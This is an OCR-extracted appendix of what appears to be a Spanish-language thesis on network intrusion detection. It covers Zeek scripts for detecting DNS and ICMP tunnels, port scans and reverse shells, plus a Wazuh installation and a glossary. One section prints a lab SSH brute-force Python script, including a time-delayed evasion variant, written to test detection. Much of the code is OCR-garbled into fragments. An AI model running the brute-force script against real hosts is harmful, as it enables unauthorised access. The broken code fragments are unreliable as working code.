DnsTunnelsAttack

global cq_table: table[addr] of count Bread_expire = record_expiration;

Llustracion 12.12: Declaracion de umbrales y tipos de alerta para tuneles DNS en Zeek. Fuente: Elaboracion propia.

La Ilustracién 12.12 muestra la primera seccion del script, donde se definen los
tipos de alerta personalizados (RequestCountOverload, OvermuchNumber,
DnsTunnelAttack) que serdn utilizados para notificar posibles anomalias en el trafico
DNS.

También se establecen los umbrales clave para la deteccion:
e request_count_threshold: nimero de solicitudes DNS por direccion IP.
e query len_threshold: longitud maxima aceptada para nombres de dominio.
e percentage of num_count: proporcion de nombres tUnicos frente al total.
e record_expiration: tiempo de retencion de registros temporales.

Estos parametros permiten ajustar la sensibilidad del sistema ante distintos patrones
de uso del servicio DNS.

Estos valores deben adaptarse cuidadosamente al entorno especifico donde se
aplique. Por ejemplo, en redes pequefias, 200 consultas pueden ser normales, mientras
que en redes grandes podrian considerarse insuficientes para indicar actividad
sospechosa.
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event dns_request{c: connectio : tring type: count, gclass: count)

if{query =

returng

local gquery_len =

count_of _num =

cq_table[src_ip] += 1;

f{guery_len > guery_len_threshold)

L
r
1

cq_table[src_ip]

llustracion 12.13:Logica del evento dns_request para evaluacion de consultas DNS sospechosas en Zeek Fuente:
Elaboracion propia con ispiracion proveniente de github.com/hhzzk.

En la Ilustracion 12.13 se declara la parte funcional més relevante del script de
deteccion de tineles DNS, especificamente el evento dns_request, el cual es ejecutado
por Zeek cada vez que se intercepta una consulta DNS. Este evento analiza el contenido
de las consultas y realiza un seguimiento por direccion IP de origen, con el objetivo de
detectar patrones anomalos que puedan estar relacionados con actividades de
tunelizacion.

El codigo comienza descartando las consultas vacias, y luego determina la
longitud de la consulta DNS (query_len). A continuacion, se extrae la direccion IP origen
del paquete, la cual sera usada como clave en una tabla temporal (c¢q_table) que mantiene
un conteo de consultas realizadas por cada cliente.

Si la direccion IP ya existe en la tabla, se incrementa su contador de solicitudes.
En caso de que este contador supere el umbral predefinido (request_count_threshold),
el sistema emite una alerta del tipo RequestCountOverload, notificando que ese host
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esta generando un volumen inusualmente alto de consultas DNS. Esto puede ser
indicativo de abuso o de un comportamiento automatizado no habitual.

En situaciones donde la consulta DNS es extensa (es decir, su longitud excede el
valor de query_len_threshold), se ejecuta un andlisis mas detallado. El script evalua
cuantos caracteres numéricos contiene la cadena de la consulta. Si el porcentaje de
caracteres numéricos respecto al total supera el valor configurado como
percentage of num_count, se genera una nueva alerta, esta vez del tipo
OvermuchNumber. Esta condicion estd pensada para identificar consultas que incluyen
cadenas codificadas (como numeros, base64, u otros patrones repetitivos), los cuales son
comunes en técnicas de exfiltracion encubierta mediante tineles DNS.

Si la direccion IP no estaba presente en la tabla al momento del andlisis, se
inicializa con un valor de 0, comenzando asi su monitoreo.

Este enfoque dindmico permite a Zeek realizar una deteccion proactiva de posibles
tuneles DNS sin depender exclusivamente de firmas o listas negras, sino mas bien
observando el comportamiento del trafico y aplicando umbrales definidos. Como se
menciond en la figura anterior, estos valores deben adaptarse cuidadosamente al entorno
especifico. En redes pequeias, pocas consultas pueden ser indicativas de anomalia,
mientras que, en infraestructuras grandes, el trafico legitimo puede exceder facilmente
estos umbrales.

12.12 Script de Zeek para deteccion de tanel ICMP

Con el objetivo de detectar posibles tuneles ICMP, se desarrolld un script en el
lenguaje de eventos de Zeek. Este script fue disefiado utilizando como base conceptual el
analisis previamente realizado para tineles DNS, y adaptado especificamente al
comportamiento tipico del trafico ICMP tipo echo-request y echo-reply, que puede ser
maliciosamente utilizado como canal de comunicacion encubierto.
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@load base/fra

. Eljl-jl']-l
addr, addr] c

onnection, info: icmp_info, id: count, seq: count, payload: string)

, orig, res

Hustracion 12.14: Monitoreo de Trdfico ICMP Echo Request Fuente: Elaboracion propia.

En la ITlustracion 12.14 se encuentra el bloque principal del script que analiza las
peticiones ICMP tipo echo-request, comunmente utilizadas por herramientas como ping.
El moédulo crea una tabla global temporal (icmp_requests) que lleva el conteo de
solicitudes ICMP por cada par de direcciones IP origen-destino.

Cada vez que Zeek detecta un echo-request, se incrementa el contador asociado
a ese par de IPs. Si el niimero de solicitudes supera un umbral predefinido
(icmp_threshold, con valor 100 en el ejemplo), se genera una alerta de tipo
IecmpRequestFlood, indicando un posible intento de uso de ICMP como canal de
exfiltracion o comunicacion encubierta.

Este tipo de actividad, cuando es persistente y no tiene una justificacion clara
(como monitoreo legitimo o pruebas de conectividad), puede representar un indicador
temprano de un tunel ICMP activo.

connection, info: icmp_info, id: count, seq: count, payload: string)

MP tunnel attack: High number of ICMP Echo Replies f

lustracion 12.15: Monitoreo de Respuestas ICMP Echo Reply. Fuente: Elaboracion propia.

Complementando el analisis anterior, en la Ilustracion 12.15 se indica la logica
para evaluar las respuestas ICMP tipo echo-reply. Se utiliza una estructura similar, con
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una tabla temporal llamada icmp_replies, que permite registrar y controlar el nimero de
respuestas recibidas por par IP.

Al igual que en el caso de las solicitudes, si el nimero de respuestas ICMP supera
el umbral configurado, Zeek genera una alerta (IcmpReplyFlood) que sugiere la
posibilidad de que esté en curso un tinel ICMP, esta vez desde el lado de la respuesta.

Ambas secciones del script trabajan en conjunto para ofrecer una deteccion
simétrica tanto del origen como del destino de potenciales tineles ICMP, lo cual es
especialmente util para identificar patrones andmalos bidireccionales que no siempre son
visibles con herramientas convencionales.

12.13 Script de Zeek para deteccion de escaneo de puertos

Se desarrolld un script disenado en el lenguaje de eventos de Zeek para detectar
posibles escancos de puertos, una técnica comunmente utilizada en la fase de
reconocimiento previa a un ataque. Este tipo de actividad se caracteriza por multiples
intentos de conexidn a distintos puertos de una misma direccion IP, generalmente sin
éxito, lo que permite inferir la intencion del atacante de mapear servicios disponibles.

@load base/framewo

an_expiration;

scan_attempts[dst] += 1;

an_attempts[dst] == port_scan_threshold)

%d suspicious TCP attempts”,

delete scan_attempts[dst];

llustracion 12.16: Configuracion de Umbral y Logica de Deteccion. Fuente: Elaboracion propia.

En la Ilustracion 12.16 se observa la estructura principal del script, que define un
nuevo tipo de aviso llamado PortScanDetected. Se establece un umbral
(port_scan_threshold) que representa el nimero de intentos sospechosos permitidos por
direccion IP de destino antes de que se genere una alerta. En este caso, el umbral esta
fijado en 50 conexiones dentro de un intervalo de 5 minutos (scan_expiration).
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El script utiliza una tabla global llamada scan_attempts, la cual almacena la
cantidad de intentos sospechosos recibidos por cada direccion IP. La funcion add_scan()
se encarga de incrementar este contador y, si se supera el umbral establecido, genera una
notificacion que incluye tanto la direccidon origen como la destino, junto con el numero
total de intentos acumulados.

event connection_attempt(c: connection)

{

llustracion 12.17: Eventos que Activan la Funcion de Deteccion. Fuente: Elaboracion propia.

Los eventos connection_attempt y connection_rejected son los encargados de
activar la deteccion del escaneo. Estos eventos evalan el campo history de las
conexiones TCP, un indicador generado por Zeek que describe como se ha desarrollado
cada conexion [88].

e En el caso de connection_attempt, se consideran intentos donde se ha enviado
un paquete SYN pero no se ha recibido respuesta ("S"), o cuando solo se ha
recibido un ACK ("SW"), lo que puede indicar un intento de escaneo furtivo o
incompleto.

e Por otro lado, connection rejected analiza conexiones que han sido
explicitamente rechazadas con un RST ("Sr" o "SWr"), tipicas de puertos
cerrados. Estos patrones son indicativos de escaneos clasicos como el TCP SYN
scan o el Stealth scan.

Ambos eventos llaman a la funciéon add_scan(), que actualiza el contador y
dispara la l6gica descrita previamente si corresponde.

12.14 Script de Zeek para deteccion de shell reverse

La Ilustracion 12.18 presenta un script desarrollado para detectar conexiones
sospechosas asociadas a reverse shells, una técnica comiinmente utilizada por atacantes
para establecer un canal de control desde la maquina victima hacia el atacante. A
diferencia de una conexion tradicional iniciada desde el atacante, una reverse shell suele
implicar una conexion de larga duracién que parte desde la victima y permanece activa
para ejecutar comandos remotamente.

Este script hace uso de los eventos del mdédulo weird.log de Zeek, que recoge
comportamientos andmalos o no estandar observados en el trafico. En concreto, se
aprovechan dos tipos de anomalias:
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e truncated tcp payload
e bad TCP_ checksum

Ademas, se define un conjunto especifico de direcciones IP que representan a los
hosts potencialmente comprometidos (victim_ips). El script se activa tnicamente si el
origen de la conexion coincide con alguna de esas IPs. Esto reduce la cantidad de falsos
positivos y permite focalizar la deteccion en activos sensibles.

El flujo de deteccion se divide en dos fases:

1. Deteccion preliminar de anomalias (evento log_weird)
Cuando Zeek registra uno de los eventos anémalos mencionados para una IP
marcada como victima, se almacena el identificador de la conexion (uid) como
potencialmente sospechosa en una tabla temporal (suspicious_conn).

2. Evaluacion de duracion de la conexion (evento connection_state remove)
Cuando la conexion finaliza, se evalta su duracion. Si esta supera los 10 segundos,
lo cual es inusualmente largo para una conexion TCP andémala, se genera una
alerta (ReverseShellDetected). Esta alerta incluye informacién como direccion
origen, destino, puerto y duracion exacta de la sesion.

Este enfoque no depende de firmas ni del contenido especifico del payload, lo que
le permite detectar conexiones reversas incluso en escenarios donde el trafico va cifrado
o esta ofuscado. En lugar de ello, se basa en indicadores contextuales y conductuales,
como duracion de sesion y errores TCP, ambos observables por Zeek sin necesidad de
inspeccion profunda.
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@load base/framewo

module REVERSE_SHELL;

|| reciname == "bad_TCP_checksum™ )

delete suspi conn[cuid];

Hlustracion 12.18: Script en Zeek para deteccion de sesiones reverse shell basadas en anomalias TCP y duracion de
conexion Fuente: Elaboracion propia

12.15 Script de Ataque de fuerza bruta espaciada en tiempo.

Para la realizacion de la técnica, se presenta un ejemplo basico de script de fuerza
bruta contra SSH desarrollado en Python. Esto como parte de una prueba controlada
para estudiar la deteccion del ataque desde la perspectiva de mediante herramientas de
monitoreo de red y host.

Para ejecutar el ataque de fuerza bruta, se cre6 un script basico que realiza
multiples conexiones SSH hacia la direccion IP 10.0.4.8, utilizando el usuario kali y una
lista de contrasefias comunes, como '123456', 'admin’, 'letmein’, 'qwerty' y 'kali'. Siendo
esta tltima la correcta.

time, os

passwords = ['123456', 'admin', 'letmein', 'qwerty', 'kali’']
pwd passwords:

os.system(f"sshpass -p {pwd} ssh -o StrictHostKeyChecking=no kalig10.0.4.8")

Illustracion 12.19: Script de fuerza bruta SSH. Fuente: Elaboracidn propia

El script hace uso del comando “sshpass”, que permite pasar la contrasefa
directamente al cliente SSH sin interaccion del usuario.
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Este tipo de ataque automatizado es caracteristico de muchos intentos de acceso
por diccionario, que buscan explotar credenciales débiles o mal configuradas.

passwords = ['123456', 'admin', 'letmein’', ‘qwerty’', 'kali']
pwd passwords:

os.system(f"sshpass -p {pwd} ssh -o StrictHostKeyChecking=no kali10.0.4.8")
time.sleep(60)

[lustracion 12.20: Script de fuerza bruta SSH con evasion temporal. Fuente.: Elaboracion propia.

Cabe destacar que, si bien esta variante cumple su propoésito en el laboratorio, la
implementacion es intencionalmente basica. El bucle aplica una espera de 60 segundos
incluso después del ultimo intento, lo que resulta ineficiente y poco 6ptimo. En una
implementacion mas refinada, seria preferible condicionar la pausa para que no se ejecute
tras el ultimo intento, especialmente si se tratara de un ataque real automatizado que
buscara rendimiento.

12.16 Instalacion del componente central de Wazuh

La instalacion de Wazuh es un proceso relativamente sencillo, siempre que se
tenga en cuenta que este sistema esta disefiado para operar en ciertos sistemas operativos
especificos. Aunque es posible forzar su instalacion en plataformas no soportadas
oficialmente, esto puede generar errores o un rendimiento inestable, lo cual resulta
especialmente problematico en una herramienta tan compleja y critica como Wazuh,

destinada a centralizar la gestion de seguridad en entornos empresariales.

Amazon Linux 2, Amazon Linux 2023 Cent0S7, 8

Red Hat Enterprise Linux 7, 8, 9 Ubuntu 16.04, 18.04, 20.04, 22.04, 24.04

Hlustracion 12.21: Sistemas Operativos que soporta Wazuh. Fuente: Elaboracion propia

Dado que Wazuh suele implementarse en infraestructuras de gran escala, existen
dos métodos principales de instalacion:

1. All-in-One: Todos los componentes del sistema se instalan en un solo nodo.

2. Distribuida: Los distintos componentes se reparten en varios nodos, lo que
permite una mejor escalabilidad y rendimiento.

Para este proyecto se optd por el método “All-in-One”, instalando todos los elementos
en una Unica maquina virtual con los requisitos minimos recomendados: 4 GB de RAM
y 2 nticleos de CPU. Estos recursos son suficientes al ser un laboratorio local no destinado
a produccion.

Respecto a la instalacion, la propia documentacion oficial de Wazuh proporciona

un comando que descarga un archivo de instalacion y lo ejecuta, automatizando todo el
proceso de instalacion, independientemente del sistema operativo utilizado.
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Como dato adicional, durante el desarrollo del proyecto, se lanzd una nueva
version de Wazuh el 7 de mayo de 2025. A pesar de que no es necesario para el
laboratorio, se decidid actualizar a la mas reciente, ya que en un entorno empresarial seria
lo mas recomendado. El proceso fue sorprendentemente simple y estd excelentemente
documentado: basicamente consiste en detener los nodos y ejecutar el proceso de
actualizacion para cada componente. Una vez estén todos actualizados, se vuelve a poner
en funcionamiento el servicio.

Como conclusion, el equipo de trabajo de Wazuh ha hecho un excelente trabajo al
automatizar tanto el proceso de instalacion como el de actualizacion. Esto permite a los
usuarios desplegar la solucion de forma rapida y sin complicaciones, lo cual es un punto
importante en un entorno real donde la disponibilidad es clave.

12.17 Glosario de Acronimos

Relacionados a ciberseguridad

e IDS - Intrusion Detection System: Sistema de deteccién de intrusiones.

e IPS - Intrusion Prevention System: Sistema de prevencién de intrusiones.

o IDPS - Intrusion Detection and Prevention System: Sistema combinado de
detecciény prevencion.

e NSM - Network Security Monitoring: Monitoreo de seguridad en red.

o NIDS - Network-based Intrusion Detection System: IDS basado en red.

e NDR - Network Detection and Response: Deteccion y Respuesta de Red.

o HIDS - Host-based Intrusion Detection System: IDS basado en host.

e SIEM - Security Information and Event Management: Gestién de
informaciény eventos de seguridad.

o XDR - Extended Detection and Response: Detecciény respuesta extendida
en multiples capas.

o EDR-Endpoint Detection and Response: Deteccidn y respuesta en
dispositivos finales.

e DoS - Denial of Service: Ataque que interrumpe la disponibilidad de un
servicio.

e LotL - Living off the Land: Técnica que utiliza herramientas legitimas del
sistema para ejecutar acciones maliciosas.

Servicios conocidos

e FTP - File Transfer Protocol: Protocolo de transferencia de archivos.

e ICMP -Internet Control Message Protocol: Protocolo de mensajes de
control de red.

o HTTP - HyperText Transfer Protocol: Protocolo de transferencia de
hipertexto.

e DNS -Domain Name System: Sistema de nombres de dominio.
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TLS - Transport Layer Security: Seguridad en la capa de transporte.

SSL - Secure Sockets Layer: Capa de conexidn segura (predecesor de TLS).
SSH - Secure Shell: Protocolo seguro para acceso remoto y administracion
de sistemas.
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